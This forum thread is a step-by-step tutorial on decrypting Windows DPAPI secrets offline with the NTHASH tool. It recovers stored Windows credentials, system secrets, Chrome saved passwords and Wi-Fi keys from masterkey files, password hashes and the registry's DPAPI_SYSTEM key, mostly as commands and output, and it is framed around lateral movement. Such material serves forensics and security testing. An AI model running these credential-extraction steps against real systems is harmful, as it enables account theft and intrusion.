Jump to content











Photo

NTHASH - playing with windows dpapi secrets

dpapi secrets

  • Please log in to reply
5 replies to this topic

#1 erwan.l

erwan.l

    Platinum Member

  • Developer
  • 2820 posts
  • Location:Nantes - France
  •  
    France

Posted 2 weeks ago

In a previous post about lateral movement, we have mostly used « online» scenarios where we would either run as the victim user or we would dump secrets from (lsass) memory.

 

This time, lets look at dpapi secrets in « offline » scenarios.

 

About DPAPI, see wikipedia.

 

DPAPI (Data Protection Application Programming Interface) is a simple cryptographic application programming interface available as a built-in component in Windows 2000 and later versions of Microsoft Windows operating systems. In theory the Data Protection API can enable symmetric encryption of any kind of data; in practice, its primary use in the Windows operating system is to perform symmetric encryption of asymmetric private keys, using a user or system secret as a significant contribution of entropy.

 

DPAPI secrets are made of :
-a blob containing encrypted data, linked to a masterkey (used to decrypt the blob)
-a masterkey containing one (or several) encrypted key(s)

 

To decrypt a masterkey (and therefore a blob), you need the below:
-non-domain user context: SID AND user password (when the masterkey was created) SHA1 hash
-domain user context: SID AND user password (when the masterkey was created) NTLM hash
-local computer or system: DPAPI_SYSTEM secret (COMPUTER or USER part)

 

In the next 4 posts, we will see how to decrypt dpapi secrets offline:

-decrypt a user dpapi secret

-decrypt a system dpapi secret

-decrypt a machine dpapi secret

-decrypt chrome passwords

 

Before doing so, I recommend reading this article.

 

Also, most part of the knowledge and coding is greatly (understatement here) inspired by the excellent work (another understatement) from Gentilwiki and Mimikatz.

 

NTHASH is available on my github.


  • Nuno Brito likes this

#2 erwan.l

erwan.l

    Platinum Member

  • Developer
  • 2820 posts
  • Location:Nantes - France
  •  
    France

Posted 2 weeks ago

Lets decrypt, offline, a user credentials (which happens to be enctyped in dpapi blobs).

 

5 steps:
-look at the encrypted blob/credential
-look at the encrypted masterkey
-retrieve the sha1 user password and compute the sha1-hmac key
-decrypt the encrypted masterkey
-decrypt the encrypted blob/credential
-conclusion

 

1/look at the encrypted blob/credential

 

User credentials are located here:
C:\Users\username\AppData\Roaming\Microsoft\Credentials
C:\Users\username\AppData\Local\Microsoft\Credentials

 

NTHASH-win64.exe /decodeblob
/binary:C:\Users\erwan\AppData\Roaming\Microsoft\Credentials\444F0F078CB16849842B0928EF18C7E1

 

ZV4d6Pi.png

 

->note the dwFlags:0 = user

 

We can see it is using masterkey ae222549-867a-4269-b29f-49500e8842c8.

Note that you can easily locate this file with dir %appdata% /s /a /b | findstr /i ae222549-867a-4269-b29f-49500e8842c8 .

 

2/look at the encrypted masterkey

 

Masterkeys are located here:
C:\Users\username\AppData\Roaming\Microsoft\Protect\sid

 

NTHASH-win64.exe /decodemk
/binary:C:\Users\erwan\AppData\Roaming\Microsoft\Protect\S-1-5-21-2427513087-2265021005-1965656450-1001\ae222549-867a-4269-b29f-49500e8842c8

 

lUWqnPN.png

 

3/retrieve the sha1 user password and compute the sha1-hmac key

 

To decrypt this masterkey, you either know the cleartext password or you know its SHA1 form (retrieved thru some other lateral movements).

 

If you know the cleartext password, then lets computer its SHA1.

 

Skip the below if you already have the SHA1 password and jump to the gethmac part.

 

NTHASH-win64.exe /widestringtohexa /input:Password12345
NTHASH 1.7 x64 by erwan2212@gmail.com

widestringtobyte
500061007300730077006F007200640031003200330034003500

 

NTHASH-win64.exe /gethash /mode:SHA1 /input:5500061007300730077006F007200640031003200330034003500
NTHASH 1.7 x64 by erwan2212@gmail.com
gethash
0D32ECD47EDA6A1D3FFA259089B59798DE1D7CE0

 

Next to the SHA1 password, we alse need the user SID.
 

NTHASH-win64.exe /widestringtohexa /input:S-1-5-21-2427513087-2265021005-1965656450-1001
NTHASH 1.7 x64 by erwan2212@gmail.com
widestringtobyte
53002D0031002D0035002D00320031002D0032003400320037003500310033003000380037002D0032003200360035003000320031003000300035002D0031003900360035003600350036003400350030002D003100300030003100

 

(note : lets not forget to add 0000 for null widechar terminated string)

 

We are now ready to compute the pre key for the encrypted masterkey

 

NTHASH-win64.exe /gethmac /mode:SHA1 /key:0D32ECD47EDA6A1D3FFA259089B59798DE1D7CE0
/input:530020031002D0035002D00320031002D0032003400320037003500310033003000380037002D0032003
00360035003000320031003000300035002D0031003900360035003600350036003400350030002
0031003000300031000000

NTHASH 1.7 x64 by erwan2212@gmail.com
gethmac
262FA2EFDE8F5C9F525DAD764B6710D663BA5DA5

 

4/decrypt the encrypted masterkey

 

NTHASH-win64.exe /decodemk
/binary:C:\Users\erwan\AppData\Roaming\Microsoft\Protect\S-1-5-21-2427513087-2265021005-1965656450-1001\ae222549-867a-4269-b29f-49500e8842c8
/input:262FA2EFDE8F5C9F525DAD764B6710D663BA5DA5

NTHASH 1.7 x64 by erwan2212@gmail.com
**** Unprotecting Blob ****
KEY:83D3D812E50FAB6F83DA070D6C566DCFE3248A1AD873AA1D222F6B41342890EEBD790388FE2A
21680A081723AA0C7B39EFBA5B16BB5D948B947140838F1F5383
SHA1:38920930CFB2A1CE61F9CB52153025535F548F53

 

5/decrypt the encrypted blob/credential

 

nthash-win64 /decodeblob
/binary:C:\Users\erwan\AppData\Roaming\Microsoft\Credentials\444F0F078CB16849842B0928EF18C7E1
/input:38920930CFB2A1CE61F9CB52153025535F548F53

NTHASH 1.7 x64 by erwan2212@gmail.com
**** Decoding Cred Blob ****
credFlags:48
credSize:194
Type:2
Flags:0
LastWritten:15/12/2019 19:16:09
TargetName:Domain:target=192.168.1.188
unkdata:
comment:SspiPfc
targetalias:
username:ERWAN-PC2\administrateur
CredentialBlob:weakpassword

 

6/Conclusion ?

 

You dont need to be online or run as the user to retrieve dpapi secrets :
If you own a blob, its associated masterkey and the cleartext password OR the sha1 password, you can decrypt these offline.



#3 erwan.l

erwan.l

    Platinum Member

  • Developer
  • 2820 posts
  • Location:Nantes - France
  •  
    France

Posted 2 weeks ago

In previous article, we have decrypted user blob/credentials.


This time lets decrypt, offline, system credentials.

 

5 steps:
-look at the encrypted blob/credential
-look at the encrypted masterkey
-retrieve dpapi system key used
-decrypt the encrypted masterkey
-decrypt the encrypted blob/credential
-conclusion

 

1/look at the encrypted blob/credential

 

System credentials are located here:
C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials

 

nthash-win64 /decodeblob
/binary:C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D

 

->note the dwFlags:20000000 = system

 

d1hmstm.png

 

2/look at the encrypted masterkey

 

Masterkeys are located here:
C:\Windows\System32\Microsoft\Protect

 

NTHASH-win64.exe /decodemk
/binary:C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\085027a7-b332-4d46-b9d1-743b668d378d

 

ozWquTO.png

 

3/retrieve dpapi system key used

 

Because we are dealing with system blobs/credentials, and because « system » is not a user, we wont be fetching the sha1 password.
Rather, we will be using the dpapi system key to decrypt the masterkey.

Because we do this offline, you need the security.sav hive in the same folder as nthash.

 

NTHASH-win64.exe /dumpsecret /input:dpapi_system /offline
NTHASH 1.7 x64 by erwan2212@gmail.com

Offline=true
Full:XX3CA961B1DCEB7DF0XXB359D981C1A3EB1D472FXX398A7D34786F8D5FXX52F318A4EDFFAF0
2F7XX
Machine:XX3CA961B1DCEB7DF0XXB359D981C1A3EB1D472F
User:8B398A7D34786F8D5FXX52F318A4EDFFAF02F7XX

 

4/decrypt the encrypted masterkey

 

NTHASH-win64.exe /decodemk
/binary:C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\085027a7-b332-4d46-b9d1-743b668d378d
/input:xx398A7D34786F8D5FXX52F318A4EDFFAF02F7XX

**** Unprotecting MasterKey ****
KEY:4136467C1A3CC9C4BB0495BF639ED57269D10E47A333D6C8E21855E39B697FA1DAEB27EE2B80
0CD79362676D5AB79073EC642ADA0FB4E732B82E817812E75C26
SHA1:XX9042755B4CA2XX55FFB1F41CEDE6CD17116FXX

 

5/decrypt the encrypted blob/credential

 

nthash-win64 /decodeblob
/binary:C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D /input:XX9042755B4CA2XX55FFB1F41CEDE6CD17116FXX

**** Decoding Cred Blob ****
credFlags:48
credSize:3170
Type:1
Flags:0
LastWritten:31/10/2019 16:56:52
TargetName:WindowsLive:target=virtualapp/didlogical
unkdata:
comment:PersistedCredential
targetalias:
username:somerandomuser
CredentialBlob:somerandomblob

 

6/Conclusion?

Retrieving the dpapi system is even more trivial compared to retrieving the user password (cleartext or sha1) as it is stored in the registry.
All you need is the blob, the associated masterkey and the dpapi system key stored in the registry.



#4 erwan.l

erwan.l

    Platinum Member

  • Developer
  • 2820 posts
  • Location:Nantes - France
  •  
    France

Posted 2 weeks ago

In previous articles, we have seen how to decrypt user blobs and system blobs.

 

Lets now have a look at machine blobs : a blob which can be decrypted by any user provided it is decrypted on the same machine – as opposed to user blobs which can only be decrypted by the user.

 

5 steps:
-lets encrypt a blob
-lets decode the encrypted machine blob
-lets retrieve the dpapy system key & decrypt the masterkey
-lets decrypt the encrypted machine blob
-conclusion

 

1/lets encrypt a machine blob (i.e not a user blob)

 

Lets encrypt a string = password

 

NTHASH-win64.exe /cryptprotectdata /input:password /mode:MACHINE

 

2/lets decode the encrypted machine blob

 

NTHASH-win64.exe /decodeblob /binary:encrypted.blob

 

->note dwflags=4=machine

 

U52EJFK.png

 

3/lets retrieve the dpapy system key (from the security hive) & decrypt the masterkey (which sits in a system folder this time)

 

NTHASH-win64.exe /dumpsecret /input:dpapi_system /system
NTHASH 1.7 x64 by erwan2212@gmail.com
Impersonate:Syst?me
Full:xx3CA961B1DCExxDF06CB359D981C1A3EB1D47xxxx398A7D34786F8DxxC152F318A4EDFFAxx
2F73F
Machine:xx3CA961B1DCExxDF06CB359D981C1A3EB1D47xx
User:xx398A7D34786F8DxxC152F318A4EDFFAF02F7xx

 

NTHASH-win64.exe /decodemk
/binary:C:\Windows\System32\Microsoft\Protect\S-1-5-18\90d6942d-4f31-4638-b756-d11efa906e52
/input:xx398A7D34786F8DxxC152F318A4EDFFAF02F7xx

**** Unprotecting MasterKey ****
KEY:xx99D247D53699114CA06378DB77E4xxDD08A6BABBDB5277EB59C8309DBA8AA8B2D4C7990052
5F2FEE3909AC3894931093DxxD4BED96484791E2DCF512EB38E7
SHA1:xx017C46F5651Bxx27831F87050694FAD1B4DBxx

 

4/lets decrypt the encrypted machine blob

 

nthash-win64 /decodeblob /binary:encrypted.blob /input:xx017C46F5651Bxx27831F87050694FAD1B4DBxx
NTHASH 1.7 x64 by erwan2212@gmail.com
**** Unprotecting Blob ****
Blob:70617373776F7264

70617373776F7264 is hexa form of password

 

5/conclusion

 

Similar to system blobs, once you have the dpapi system key, it is rather trivial to decrypt such blob.
Furthermore, it is not recommanded to use machine blobs to store secrets as any user on that machine will be able to decrypt it.



#5 erwan.l

erwan.l

    Platinum Member

  • Developer
  • 2820 posts
  • Location:Nantes - France
  •  
    France

Posted 2 weeks ago

Bonus time.

 

In previous articles we have seen how to decrypt dpapi blobs.

 

What about chrome?

Can we decrypt chrome passwords offline? i.e not running under the context of the user.

Chrome uses user dpapi blobs to encrypt password in a sqlite db.

 

So following previous articles, nothing prevents one to decrypt a chrome db offline.

3 steps:
-retrieve the scrambled passwords along with the masterkey guid
-decrypt the masterkey
-retrieve the decrypted passwords with the decrypted masterkey

 

1/retrieve the scrambled passwords along with a dummy decrypted sha1 masterkey.

 

nthash-win64 /chrome /binary:C:\temp\login data /input:0000000000000000000000000000000000000000

 

2/decrypt the masterkey (identified by its guid in previous steps)
See previous article for more details about this steps.

 

NTHASH-win64.exe /decodemk /binary:C:\Users\erwan\AppData\Roaming\Microsoft\Protect\S-1-5-21-242
7513087-2265021005-1965656450-1001\ae222549-867a-4269-b29f-49500e8842c8 /input:xxE0CExx8C9903BxxDC5F1D8190xx33CF7C3DBxx

NTHASH 1.7 x64 by erwan2212@gmail.com
**** Unprotecting MasterKey ****
KEY:83D3D812E50FABxx83DA070D6C566DxxE3248A1AD873AxxD222F6B41342xx0EEBD790388FE2A
21680A081723AA0C7B39EFxx5B16BB5xx48B94714xx38F1F5383
SHA1:xx920930CFB2A1CExxF9CB52153025535F548Fxx

 

3/retrieve the decrypted passwords with the decrypted sha1 masterkey (offline)

 

nthash-win64 /chrome /binary:C:\temp\login data /input:xx920930CFB2A1CExxF9CB52153025535F548Fxx



#6 erwan.l

erwan.l

    Platinum Member

  • Developer
  • 2820 posts
  • Location:Nantes - France
  •  
    France

Posted 13 hours ago

In previous posts we have seen how to decrypt dpapi blobs.
 
Dpapi blobs are not always stored in file blobs.
They can be stored in different places like registry, config file, etc and in various formats such as hexadecimal string, but also base64 strings, etc.
Dpapi blobs can be recognized as it always starts with 01 00 00 00 D0 8C 9D DF 01 15 D1 11 8C 7A 00 C0 4F C2 97 EB (or AQAAANCMnd8BFdERjHoAwE/Cl+s= in base64).
 
Lets have a look at how Windows stores wifi passwords.
 
These are stored in xml files in C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces (<keymaterial/> tag).
You can easily found these files with : dir %programdata% /s /a /b | findstr /i interfaces.
 
When logged as the user, you can decrypt it with the below command :
 
NTHASH-win64 /wlansvc /binary:C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\{2799BE4D-A2D4-417D-A774-481DBE1FF7FC}\{98B3A77A-3A5A-44A1-81AE-DDB88A168B24}.xml /system
 
Good news is that we can also decrypt it these offline.
 
Run the above command offline this time.
NTHASH will tell you that it failed to decrypt it BUT it will dump the blob to encrypted.blob.
 
From there (and using the same steps as this post) :
-use /decodeblob to identify the masterkey guid
-use /decodemk to decrypt the masterkey
-use /decodeblob again but this time supplying the SHA1 key obtained in previous step
-done :)





0 user(s) are reading this topic

0 members, 0 guests, 0 anonymous users